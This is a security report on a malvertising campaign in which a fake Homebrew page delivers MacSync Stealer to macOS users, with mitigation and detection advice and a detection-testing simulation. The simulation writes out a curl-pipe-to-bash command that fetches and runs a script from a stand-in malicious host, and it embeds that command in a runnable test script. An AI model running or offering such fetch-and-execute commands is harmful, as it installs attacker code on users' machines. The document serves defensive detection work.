Fake Homebrew Ad Leads to MacSync Stealer Infection

Summary

Attackers are using malicious search ads to direct users to a fake Homebrew website that targets macOS systems with the MacSync Stealer. The spoofed page instructs victims to copy and run a shell command that downloads and launches the malware. Once active, the stealer gathers credentials and system details, compresses the stolen data into a ZIP archive, and sends it to a command-and-control server. The campaign highlights the growing use of malvertising to compromise macOS users.

Investigation

The analyst traced the attack from the malicious ad to an impersonated Homebrew page hosted on Google Sites. That page presented a zsh command which, when executed, downloaded additional scripts from attacker-controlled infrastructure and created a temporary ZIP archive containing collected data. Network traffic confirmed that the archive was exfiltrated to the domain glowmedaesthetics.com. Researchers documented the relevant indicators, including URLs, domains, and file paths tied to the infection chain.

Mitigation

Users should avoid copying and running commands from untrusted websites and should verify the legitimacy of package manager pages before interacting with them. Ad-blocking or security-focused browser extensions can help reduce exposure to malicious sponsored links. On macOS, Gatekeeper should remain enabled and application execution should be limited to trusted, signed software. Defenders should also monitor outbound traffic for connections to unfamiliar domains.

Response

Security teams should detect execution of the suspicious zsh command and any curl activity reaching the identified malicious URL. Alerts should also be generated for creation of the /tmp/osalogging.zip archive and for outbound traffic to glowmedaesthetics.com. If infection is suspected, isolate the affected system, collect forensic evidence, and reset any compromised credentials.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Initial Lure: The victim receives a phishing email containing a link to a counterfeit Homebrew “tap” page that hosts a malicious installation script.

  2. Execution: The victim copies the one‑liner from the page and pastes it into their terminal:

     curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash

     • The curl binary is invoked (matches the rule).

  3. Downloader Script (macsyncloader.sh):

     • Downloads the MacSync payload via curl.
     • Writes the payload to /tmp/.macsync and executes it.
     • Pops up credential‑stealing dialogs (simulated via osascript on macOS, but here we simply echo).

  4. Persistence: The script registers a LaunchAgent to run at login (outside the scope of the current rule but relevant for broader detection).

• Regression Test Script: The following Bash script reproduces the exact steps, ensuring the telemetry aligns with the detection logic.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Simulated attacker-controlled script host
  # -------------------------------------------------
  MALICIOUS_HOST="https://malicious.example.com"
  LOADER="${MALICIOUS_HOST}/macsyncloader.sh"
  
  # -------------------------------------------------
  # Step 1: Download and execute the malicious loader
  # -------------------------------------------------
  echo "[*] Triggering detection rule by invoking curl ..."
  curl -fsSL "$LOADER" | /bin/bash
  
  # -------------------------------------------------
  # Step 2: (Inside the loader) – Simulated payload
  # -------------------------------------------------
  # The loader would normally be fetched from the remote host.
  # For the purpose of this test we embed the payload inline.
  cat <<'PAYLOAD' > /tmp/.macsync
  #!/usr/bin/env bash
  echo "MacSync payload executed – exfiltrating host info..."
  # Simulate credential grab (no real data)
  echo "Collected credentials: user@example.com / password123"
  PAYLOAD
  
  chmod +x /tmp/.macsync
  /tmp/.macsync
  
  echo "[*] Simulation complete."

• Cleanup Commands: Remove artifacts and terminate any lingering processes.

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Cleaning up simulation artifacts ..."
  rm -f /tmp/.macsync
  # No persistent services were created in this test
  echo "[*] Cleanup finished."